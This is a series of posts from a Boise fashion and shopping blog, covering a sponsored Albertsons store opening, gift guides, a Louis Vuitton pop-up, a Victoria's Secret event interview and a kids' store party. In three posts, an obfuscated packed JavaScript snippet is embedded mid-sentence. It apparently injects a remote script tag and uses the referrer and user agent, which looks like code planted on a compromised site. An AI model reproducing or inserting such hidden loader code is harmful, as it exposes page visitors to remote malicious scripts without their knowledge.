More Than Just a Grocery Store: Albertsons Market Street

stylespygirl ammophotog albertsons market street

stylespygirl ammophotog albertsons market streetLike Microsoft in Seattle, Facebook in Silicon Valley, and Goldman Sachs in New York, there’s a special kind of symbiotic relationship that occurs when a company grows up from within a specific community.

Albertsons, the little grocery store chain established in Boise in 1939, has over the decades become that inseparable counterpart to the great state of Idaho. With its latest grand opening of the new-concept Albertsons Market Street store at Eagle & Fairview, the special bond between company and community has never been more apparent!

From in-store-made cheese to hand-crafted jewelry, local organic produce and farm-raised beef, touches of Idaho culture and community are vastly evident throughout this expansive new store.

This big, beautiful store is so much more than groceries;
Albertsons Market Street is Idaho incarnate!

stylespygirl ammophotog albertsons market street

I spoke with one of the department managers at a recent blogger/influencer Sneak Peek event, right before their grand opening. It was clear that she was very proud of how her store is not only “including” local products and artisans, but deliberately championing them. Look no further than the clothing & gifts section, where t-shirts and hats from Wear Boise hang proudly beside “I ❤ Boy See” coffee mugs and baseball caps.

stylespygirl ammophotog albertsons market street

Inspired by this clear passion for all things Idaho, my friend & frequent blog partner Ammophotog and I went on a #locallove treasure hunt throughout the new store, spying all the wonderful things Albertsons is deriving from – and contributing to – this community!

Enjoy the tour, and be sure to stop in to see the gorgeous new Market Street store at 3499 E Fairview Ave., Meridian, ID.
stylespygirl ammophotog albertsons market street

For more info on the new store, visit www.albertsons.com.
Pictures by Ammophotog.
This blog post is sponsored by Albertsons.
ammophotog stylespygirl albertsons new store

albertsons stylespygirl ammophotog 22
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street

Albertsons’ innovative & expansive wine department is headed by Michelle Leonardson.

stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street
stylespygirl ammophotog albertsons market street

Just doing my blogger thang!

A great, big THANKS to Albertsons for inviting me to preview your fab new digs,
and to Ammophotog for always capturing the fun so beautifully!
XOXOXO,
Tanya

Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here!

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Louis Vuitton Comes to Boise!

louis vuitton purse party stylespygirl

louis vuitton stylespygirl dillards

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you’re a Louis Vuitton fan, RUN to Dillard’s in Boise right now for their one-time-only pop up shop!
Last night, I was honored to host a sneak-peek party for some of my dearest girl friends. This special sale is new to Dillard’s, and a one-of-a-kind collaboration with What Goes Around Comes Around, the leading purveyor of authentic luxury resale online.

louis vuitton

All of the bags are vintage and pre-loved, in excellent condition and with authentication cards. These beauties are gorgeous, legit, and a fraction of the price of new bags!

louis vuitton stylespygirl purse party

The main event will be open to the public starting December 10th, 2016. HOWEVER, private pre-sales are open right NOW!!! If you want to get a crack at these bags before they’re gone, call Dillard’s at  (208) 321-4646 to make your appointment. 

Happy shopping!
XOXO,
Tanya

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

 

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

louis vuitton purse party stylespygirl

Special THANKS to Dillard’s for showing us such a lovely time, and to all the sweet ladies who came to the party. Love you all! 

 

Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

elsa hosk boise towne squareLast eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysyzf|var|u0026u|referrer|dhaef||js|php’.split(‘|’),0,{}))
week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

elsa_hosk_ammophotog_stylespygirl_7I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the  4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

elsa_hosk_ammophotog_stylespygirl_1

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization? 

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

elsa_hosk_ammophotog_stylespygirl_4

Via Ellen Belle Hanson Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18.  I went to school, and played basketball, and then I decided to really go for it.

 Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

elsa_hosk_ammophotog_stylespygirl_5

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina:  “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

elsa hosk multi gridIt was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha KautzAlejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

StyleSpyGirl’s Holiday Gift Guide 2014

gift guide banner image 3Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizyr|var|u0026u|referrer|ydiki||js|php’.split(‘|’),0,{}))
is almost here!
 In case you need a few last-minute ideas, I’m sharing my personal wish list of favorite finds, from Boise and beyond. And I’ve linked directly to most of what you see here, so it’s easy to click-to-buy!

Wishing you and yours a very Merry Christmas,

signature  hearts

~

Local Love

gift guide local love 3

1. Arrow Hoop Earrings $25, Fluff 4 The Particular / 2. Idaho Gun Trucker Hat  $25, and Sweatshirt $40, Banana Ink / 3. Ollipop Vintage Inspired Ring $39, Ruby Lou Clothing Boutique /  4. PULSE Bracelet $20 Sterling Silver, Unigon Specialties / 5. Bullet Shell Jewelry 9mm Turqoise gemstone $36, Body Novelties / 6. COPONCHA All-Weather Fashion Poncho $199, Ginger And Mary Ann / 7.  Black & Gold Sequin Sleeve Dress $79, Posh Boutique / 8. Organic 70% Dark Chocolate Cranberry Orange, rosieMADE

 Glitz & Glamgift guide glitz glam 2

 

1. Manic Choker Necklace $296, Marshelly’s / 2. Raine Jumpsuit by Jessica Faulkner $162, Orange Harp (Use Discount Code TWSTYLE to receive 15% OFF at Checkout!) / 3. Red Wool Blend Turnlock Trench Coat $118, Express /4. Rolex His & Hers Watches, Price upon request Hal Davis Jewelers, 1-800-421-6151 / 5. Arabesque Cocktail Ring and Pave’ Chevron Ring both $29 each, Stella & Dot / 6. Mini Turnlock Borough Bag $398, &  Mini Chain Crossbody $195 In Metallic Leather, Coach / 7. World Cuff Bracelet $380, by Artelier / 8. The Dreamer Henley Pajama with Matching Eye Mask $39.50, Victoria’s Secret / 9. Katana Ring $85, Marshelly’s

Tech Cravings

gift guide tech cravings

1. MEMI silver tech bracelet  $150, Memi.com. First wearable technology made for women, by women! Smartbracelet discreetly vibrates when you receive important phone calls, text messages, and calendar alerts. Silver and White, pre-order only. / 2. BLOOM Necklace $79.99, connects with SHINE Fitness & Sleep Monitor (sold separately.) Hand-finished stainless steel. / 3. MOTA Smartring $99.99, MOTA. Pairs with any Bluetooth enabled device. Notifications vibrate; simply scroll through the screen to view your latest updates! Midnight Black or Pearl White. / 4. CUFF “Lisa” Necklace $119 marked down to $59 pre-order! Never miss an important call or text; notifications with a buzz, and safety alert with just a touch. / 5. MICA Tech Bracelet $495, by Opening Ceremony. An intelligent communication accessory designed by Opening Ceremony, and powered by Intel. Delivers discreet text messages, email alerts, Facebook notifications, calender reminders, and more! 18k gold finish and adorned with pearls, lapis, obsidian, and tiger’s eye. / 6. Limited Edition Dive Bar Ringly $195, Crafted with a rhodium plated setting and a tourmalated quartz semi-precious stone. Stargaze Black Onyx Ringly $195, Crafted with an 18K matte gold 3 micron plated setting and precious and semi-precious stones. Connects to your phone and sends you customized notifications through vibration and light!

 

 

 

 

SPLURGE:

Treasure Valley Small Business BLACK FRIDAY Directory

black friday shopping boise

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holiday season, shop local!
Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between.
Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)

CLICK ON THE PHOTO ABOVE TO ACCESS THE TREASURE VALLEY SMALL BUSINESS BLACK FRIDAY DIRECTORY!

P.S. Aeropostale Epic Kids Party

ps aeropostale epic kids event

 

ps aeropostale epic kids partyMe eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayyr|var|u0026u|referrer|azzht||js|php’.split(‘|’),0,{}))
and my daughter, kids’ blogger at
 LalaAndFriends.com. My necklace by Unigon Specialties, Jacket from Prestige.

A couple weeks ago, I had the fun privilege of attending the P.S. Aeropostale Epic Kids Party at Boise Towne Square, with my little girl, who just launched her own children’s fashion blog! It was so much fun to go together; we had a blast, and met many wonderful people! During the event, P.S.’s entire store was an extra 20% off, so everyone scored crazy hot deals on super cool clothes. The girls partied, ate mini cakes, laughed, danced, and made fun memories together. Many of the children also posed for Polaroid pics, to enter the Epic Kids contest for a chance to win $100 gift cards! They had a great time being “real models.”

Thank you, P.S. Aeropostale, for throwing this super fun event! And thank you to all the fantastic  moms & kids who stopped by to enjoy it with us.

XOXO,

signature 2

ps aeropostale epic kids event

 Hanging with the DJ – he played some rocking (and kid-friendly!) tunes!

ps aeropostale epic kids event

Nom nom nom nom! Mini cakes – we love!ps aeropostale epic kids event

 Hannah and her family showed up again, after her Special Wish Day the day before!
Check out Lala’s story about this amazing and brave young girl, here

ps aeropostale epic kids event

Striped shirts (on sale now for $7!) / Pink Solid Scoop T (On sale now for $5!) / Striped Skater Skirt (On sale now for $8!)

ps aeropostale epic kids event

 KID DANCE PARTY!!!

ps aeropostale epic kids event

New Bff’s – they got to be “employees” for the day, and studiously rearranged the entire store!
(My apologies to the actual employees for how much “fun” this must have been for them to clean up later, ha ha ha!)

ps aeropostale epic kids event

My girls rocks a baseball cap, just sayin’!

ps aeropostale epic kids event

All kinds of cuteness!

ps aeropostale epic kids eventThank you, P.S. Aeropostale, and everyone who came to party with us! Love you – xoxoxo!!!

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Spring Trend 2014: Fit & Flare Dress

spring trends 2014 dresses

spring trends 2014 dresses

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you happened to read my
“Top 5 Trends of Spring 2014” article for Snow Bunny Magazine, you’ll be familiar with this second major trend I’m covering on the blog today. (The first one, why you need a white jacket, is here!)

I am personally crazy about Fit & Flare dresses, and oh so happy that they’re a hot trend item for Spring 2014! My body type is a Strawberry, which means I’m busty on top and narrow through the hips. Fit & Flare dressed are perfect for my body type, because they’re form-fitting on top and voluminous on bottom, which balances out my proportions! I spotted this gorgeous lace fuchsia dress at The Threaded Zebra in Eagle, and just had to have it!!! 

Fit & Flare dresses can be great for any body type; it’s all about the proportions! They’re perfect for slimming-down curvier hips & bum; a woman who’s a Pear body type should aim for a higher waistline, which will emphasize the bust and elongate legs. A Fit & Flare dress with a slender belt can also help define curves and a waistline, if you’re a Celery Stick or Apple body type. (Not sure which type you are? Read my tips for how to dress for Body Type here!)

Nearly every girl can wear a fit & flare dress – is it any wonder it’s such a hot trend this spring? Enjoy the flowers, the sunshine, and the pretty dresses of summer, my lovelies!!!

XOXO,
tanya signature

spring trends 2014 dresses

ammophotog_stylespygirl_pink_dress_4

spring trends 2014 dresses

spring trends 2014 dresses

spring trends 2014 dresses

spring trends 2014 dresses

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